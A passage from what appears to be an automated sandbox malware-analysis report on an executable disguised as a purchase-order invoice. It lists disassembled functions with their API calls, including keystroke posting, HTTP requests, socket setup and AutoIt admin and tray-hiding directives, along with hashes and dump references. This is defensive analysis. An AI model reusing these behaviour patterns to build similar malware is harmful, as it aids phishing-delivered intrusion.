                                                                                            • Instruction Fuzzy Hash: E54128332402806BE320A75DB8C4ABBFB98E7A2362F50443FF18196520D76678C5D339
                                                                                            Function 00445CF9 Relevance: 13.6, APIs: 9, Instructions: 69sleepkeyboardwindowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0044593E: GetWindowThreadProcessId.USER32(00000001,00000000), ref: 0044595D
                                                                                              • Part of subcall function 0044593E: GetCurrentThreadId.KERNEL32 ref: 00445964
                                                                                              • Part of subcall function 0044593E: AttachThreadInput.USER32(00000000,?,00000001,00478FA7), ref: 0044596B
                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D15
                                                                                            • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 00445D35
                                                                                            • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000), ref: 00445D3F
                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D45
                                                                                            • PostMessageW.USER32(00000000,00000100,00000027,00000000), ref: 00445D66
                                                                                            • Sleep.KERNEL32(00000000), ref: 00445D70
                                                                                            • MapVirtualKeyW.USER32(00000025,00000000), ref: 00445D76
                                                                                            • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 00445D8B
                                                                                            • Sleep.KERNEL32(00000000,?,00000101,00000027,00000000), ref: 00445D8F
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                                                            • String ID:
                                                                                            • API String ID: 2014098862-0
                                                                                            • Opcode ID: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                            • Instruction ID: b085f3065cf9cd100f04f322da00d4b037e108fc79bf5967fdabce1cd6d2e74b
                                                                                            • Opcode Fuzzy Hash: 621277f82d70151dd5f553487d646ea3797e8fa9e9e6e4ab5ab83039983e6254
                                                                                            • Instruction Fuzzy Hash: 7B116971790704B7F620AB958C8AF5A7399EF88B11F20080DF790AB1C1C9F5E4418B7C
                                                                                            Function 0045427D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 259libraryloaderCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc_malloc$_strcat_strlen
                                                                                            • String ID: AU3_FreeVar
                                                                                            • API String ID: 2184576858-771828931
                                                                                            • Opcode ID: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                            • Instruction ID: c940ad03d776ce5ee908f8b881b33357b51647545ffc53e819ca791e1fdac2da
                                                                                            • Opcode Fuzzy Hash: 111e65442873bd7cbffe48700b84114c079de58427b558a04ef4a5d95244f0f0
                                                                                            • Instruction Fuzzy Hash: EDA18DB5604205DFC300DF59C480A2AB7E5FFC8319F1489AEE9554B362D739ED89CB8A
                                                                                            Function 00401D10 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 235COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00401D5A
                                                                                            • DestroyWindow.USER32(?), ref: 0042A751
                                                                                            • UnregisterHotKey.USER32(?), ref: 0042A778
                                                                                            • FreeLibrary.KERNEL32(?), ref: 0042A822
                                                                                            • VirtualFree.KERNEL32(?,00000000,00008000), ref: 0042A854
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Free$DestroyLibrarySendStringUnregisterVirtualWindow
                                                                                            • String ID: close all
                                                                                            • API String ID: 4174999648-3243417748
                                                                                            • Opcode ID: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                            • Instruction ID: e23b5dd52123a376b0379481fe8be5d2f02d07e70979f80a1c72d587d5a24a2c
                                                                                            • Opcode Fuzzy Hash: ddf39f1eda455a1c63d5a7d3271f56cd3ed42d138f3b783cbb3ca1597947a384
                                                                                            • Instruction Fuzzy Hash: FFA17075A102248FCB20EF55CC85B9AB3B8BF44304F5044EEE90967291D779AE85CF9D
                                                                                            Function 0044AA1F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 171networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 0044AA5A
                                                                                            • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 0044AA8D
                                                                                            • InternetQueryOptionW.WININET(00000000,0000001F,?,?), ref: 0044AAF9
                                                                                            • InternetSetOptionW.WININET(00000000,0000001F,?,00000004), ref: 0044AB11
                                                                                            • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0044AB20
                                                                                            • HttpQueryInfoW.WININET(00000000,00000005,?,00000000,00000000), ref: 0044AB61
                                                                                              • Part of subcall function 0044286A: GetLastError.KERNEL32(00000000,0044AA07,?,00000000,00000000,00000001,?,?), ref: 00442880
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: HttpInternet$OptionQueryRequest$ConnectErrorInfoLastOpenSend
                                                                                            • String ID:
                                                                                            • API String ID: 1291720006-3916222277
                                                                                            • Opcode ID: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                            • Instruction ID: 782b6278bf246bef60821ca34847c3ce69a0d92f774604c9678bedd135ce19ea
                                                                                            • Opcode Fuzzy Hash: fd0d9a71f1b9f9aed2e07c44adb1cce69882d59a8a6dee97d1abd644e851efd9
                                                                                            • Instruction Fuzzy Hash: 9C51E6B12803016BF320EB65CD85FBBB7A8FB89704F00091EF74196181D7B9A548C76A
                                                                                            Function 0046BB59 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 168networkCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ErrorLastselect
                                                                                            • String ID: HH
                                                                                            • API String ID: 215497628-2761332787
                                                                                            • Opcode ID: 8403caabb69194ab749b3558b6d17cf16ba223cf5fbe2e3d1d341ca8c1bfc534
                                                                                            • Instruction ID: a252b81ccbce03d1e7b1b0efababa2c0a0929072778302a7b1202b90a7697d70
                                                                                            • Opcode Fuzzy Hash: 8403caabb69194ab749b3558b6d17cf16ba223cf5fbe2e3d1d341ca8c1bfc534
                                                                                            • Instruction Fuzzy Hash: BF51E4726043005BD320EB65DC42F9BB399EB94324F044A2EF558E7281EB79E944C7AA
                                                                                            Function 0047D2F8 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 162COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __snwprintf__wcsicoll_wcscpy
                                                                                            • String ID: , $$0vH$AUTOITCALLVARIABLE%d$CALLARGARRAY
                                                                                            • API String ID: 1729044348-3708979750
                                                                                            • Opcode ID: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                                                                                            • Instruction ID: 823d0c4529048d9f890bbf28e75db1a658c609af9319d28fcdda535ef0d13f31
                                                                                            • Opcode Fuzzy Hash: e5856c69d37335927e932bb259c431c810e65197c095b32473e915812f67d75c
                                                                                            • Instruction Fuzzy Hash: E651A571514300ABD610EF65C882ADFB3A4EFC4348F048D2FF54967291D779E949CBAA
                                                                                            Function 0044BBC9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 100filestringCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 0040FFB0: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,?,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,004A8E80,C:\Users\user\Desktop\19387759999PO-RFQ-INVOICE-doc.exe,0040F3D2), ref: 0040FFCA
                                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 0044BC04
                                                                                            • MoveFileW.KERNEL32(?,?), ref: 0044BC38
                                                                                            • _wcscat.LIBCMT ref: 0044BCAA
                                                                                            • _wcslen.LIBCMT ref: 0044BCB7
                                                                                            • _wcslen.LIBCMT ref: 0044BCCB
                                                                                            • SHFileOperationW.SHELL32 ref: 0044BD16
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: File_wcslen$FullMoveNameOperationPath_wcscatlstrcmpi
                                                                                            • String ID: \*.*
                                                                                            • API String ID: 2326526234-1173974218
                                                                                            • Opcode ID: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                            • Instruction ID: 9e4979448571685848097db6772507fbfe8bfb8d1337cd0032b1ea927bdad9db
                                                                                            • Opcode Fuzzy Hash: 79917c867e5dc746cbfe3ebb0135d92afbab4952e7fca4f485a184e9ce72b521
                                                                                            • Instruction Fuzzy Hash: 4B3183B14083019AD724EF21C5D5ADFB3E4EFC8304F444D6EB98993251EB39E608D7AA
                                                                                            Function 004366BE Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 90COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                              • Part of subcall function 00436328: _wcsncpy.LIBCMT ref: 0043633C
                                                                                            • _wcslen.LIBCMT ref: 004366DD
                                                                                            • GetFileAttributesW.KERNEL32(?), ref: 00436700
                                                                                            • GetLastError.KERNEL32 ref: 0043670F
                                                                                            • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00436727
                                                                                            • _wcsrchr.LIBCMT ref: 0043674C
                                                                                              • Part of subcall function 004366BE: CreateDirectoryW.KERNEL32(?,00000000,?,00000000,00000000), ref: 0043678F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateDirectory$AttributesErrorFileLast_wcslen_wcsncpy_wcsrchr
                                                                                            • String ID: \
                                                                                            • API String ID: 321622961-2967466578
                                                                                            • Opcode ID: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                            • Instruction ID: 68cadaa88695c7c006562ade17844284f7fc34f8e7e15af3b97584e331f528d6
                                                                                            • Opcode Fuzzy Hash: 3d3187412736f1559758a6cd6e40f0a594bd5d43c4c9ea1cccac3023e941b0f8
                                                                                            • Instruction Fuzzy Hash: 3C2148765003017ADB20A724EC47AFF33989F95764F90993EFD14D6281E779950882AE
                                                                                            Function 0044C80C Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 83COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: __wcsnicmp
                                                                                            • String ID: #OnAutoItStartRegister$#notrayicon$#requireadmin
                                                                                            • API String ID: 1038674560-2734436370
                                                                                            • Opcode ID: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                            • Instruction ID: f72ce1d64a5a3b865947b719243e4701f1ba8c8209579f194a7ae3ad15c73224
                                                                                            • Opcode Fuzzy Hash: dc7e98e38d8725b7134af3b864f32bf76aed1b78794146943df9d66deb8fb3e7
                                                                                            • Instruction Fuzzy Hash: 1B21F87261161067E730B659DCC2BDB63985F65305F04406BF800AA247D6ADA98A83AA
                                                                                            Function 00441561 Relevance: 12.1, APIs: 8, Instructions: 101windowCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • DeleteObject.GDI32(?), ref: 0044157D
                                                                                            • GetDC.USER32(00000000), ref: 00441585
                                                                                            • GetDeviceCaps.GDI32(00000000,0000005A), ref: 00441590
                                                                                            • ReleaseDC.USER32(00000000,00000000), ref: 0044159B
                                                                                            • CreateFontW.GDI32(?,00000000,00000000,00000000,?,000000FF,000000FF,000000FF,00000001,00000004,00000000,?,00000000,00000000), ref: 004415E9
                                                                                            • SendMessageW.USER32(?,00000030,00000000,00000001), ref: 00441601
                                                                                            • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00441639
                                                                                            • SendMessageW.USER32(?,00000142,00000000,00000000), ref: 00441659
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
                                                                                            • String ID:
                                                                                            • API String ID: 3864802216-0
                                                                                            • Opcode ID: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                            • Instruction ID: 4e191e68d33858d232da06d8f8bca50b2e2c885119a5133d865ec5329e905ca2
                                                                                            • Opcode Fuzzy Hash: ea0a3e179a2db4f205f3d0bf310cedd64f619745dcd59731a2847991c922bb1b
                                                                                            • Instruction Fuzzy Hash: 1531C172240344BBE7208B14CD49FAB77EDEB88B15F08450DFB44AA2D1DAB4ED808B64
                                                                                            Function 004140DB Relevance: 12.0, APIs: 8, Instructions: 42threadCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • ___set_flsgetvalue.LIBCMT ref: 004140E1
                                                                                              • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                              • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                              • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                            • ___fls_getvalue@4.LIBCMT ref: 004140EC
                                                                                              • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                            • ___fls_setvalue@8.LIBCMT ref: 004140FF
                                                                                              • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                            • GetLastError.KERNEL32(00000000,?,00000000), ref: 00414108
                                                                                            • ExitThread.KERNEL32 ref: 0041410F
                                                                                            • GetCurrentThreadId.KERNEL32 ref: 00414115
                                                                                            • __freefls@4.LIBCMT ref: 00414135
                                                                                            • __IsNonwritableInCurrentImage.LIBCMT ref: 00414148
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Value$CurrentThread__decode_pointer$ErrorExitImageLastNonwritable___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                            • String ID:
                                                                                            • API String ID: 1925773019-0
                                                                                            • Opcode ID: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                            • Instruction ID: d0499dd1a11a7aa3f5f6b81cdb2be0183561266298d4129ec5ef95b8f2f1ff50
                                                                                            • Opcode Fuzzy Hash: 78c5a7e04feddb60afef3bdf2204f5ea6d2fca564e255d6fa6df859771c1ea47
                                                                                            • Instruction Fuzzy Hash: 12018430000200ABC704BFB2DD0D9DE7BA9AF95345722886EF90497212DA3CC9C28B5C
                                                                                            Function 004357AD Relevance: 12.0, APIs: 8, Instructions: 36COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • VariantClear.OLEAUT32(00000038), ref: 004357C3
                                                                                            • VariantClear.OLEAUT32(00000058), ref: 004357C9
                                                                                            • VariantClear.OLEAUT32(00000068), ref: 004357CF
                                                                                            • VariantClear.OLEAUT32(00000078), ref: 004357D5
                                                                                            • VariantClear.OLEAUT32(00000088), ref: 004357DE
                                                                                            • VariantClear.OLEAUT32(00000048), ref: 004357E4
                                                                                            • VariantClear.OLEAUT32(00000098), ref: 004357ED
                                                                                            • VariantClear.OLEAUT32(000000A8), ref: 004357F6
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: ClearVariant
                                                                                            • String ID:
                                                                                            • API String ID: 1473721057-0
                                                                                            • Opcode ID: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                            • Instruction ID: 4669651a97e20320d925a323ac357da1b1419afffb7c9eb93274aad60c959a81
                                                                                            • Opcode Fuzzy Hash: 108e33c2045b04221b4df3f02cd388125a51a7e0134505e60bdc817f2fb2f336
                                                                                            • Instruction Fuzzy Hash: BDF03CB6400B446AC235EB79DC40BD7B7E86F89200F018E1DE58783514DA78F588CB64
                                                                                            Function 00464A0E Relevance: 10.8, APIs: 7, Instructions: 281networkmemoryCOMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • WSAStartup.WSOCK32(00000101,?), ref: 00464ADE
                                                                                              • Part of subcall function 0045EFE7: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,?,?,0047D14B,?,?,?,?), ref: 0045F003
                                                                                            • inet_addr.WSOCK32(?), ref: 00464B1F
                                                                                            • gethostbyname.WSOCK32(?), ref: 00464B29
                                                                                            • _memset.LIBCMT ref: 00464B92
                                                                                            • GlobalAlloc.KERNEL32(00000040,00000040), ref: 00464B9E
                                                                                            • GlobalFree.KERNEL32(00000000), ref: 00464CDE
                                                                                            • WSACleanup.WSOCK32 ref: 00464CE4
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111110346.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_0_2_400000_19387759999PO-RFQ-INVOICE-doc.jbxd
                                                                                            Similarity
                                                                                            • API ID: Global$AllocByteCharCleanupFreeMultiStartupWide_memsetgethostbynameinet_addr
                                                                                            • String ID:
                                                                                            • API String ID: 3424476444-0
                                                                                            • Opcode ID: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                            • Instruction ID: 8d90feaebe95447676150adcea4a136074f650e12d33839f26a9dde16614cdb7
                                                                                            • Opcode Fuzzy Hash: 3a9821fb802cba04523fcb9c1f83c74fd5b22343f7d4654d6e4056c4a41f6a01
                                                                                            • Instruction Fuzzy Hash: A3A17EB1504300AFD710EF65C982F9BB7E8AFC8714F54491EF64497381E778E9058B9A
                                                                                            Function 00440B39 Relevance: 10.8, APIs: 7, Instructions: 261COMMON
                                                                                            Download Yara Rule
                                                                                            APIs
                                                                                            • GetSystemMetrics.USER32(0000000F), ref: 00440B7B
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000000.00000002.2111031322.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000000.00000002.2111020156.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111070676.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                            • Associated: 00000000.00000002.2111085077.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
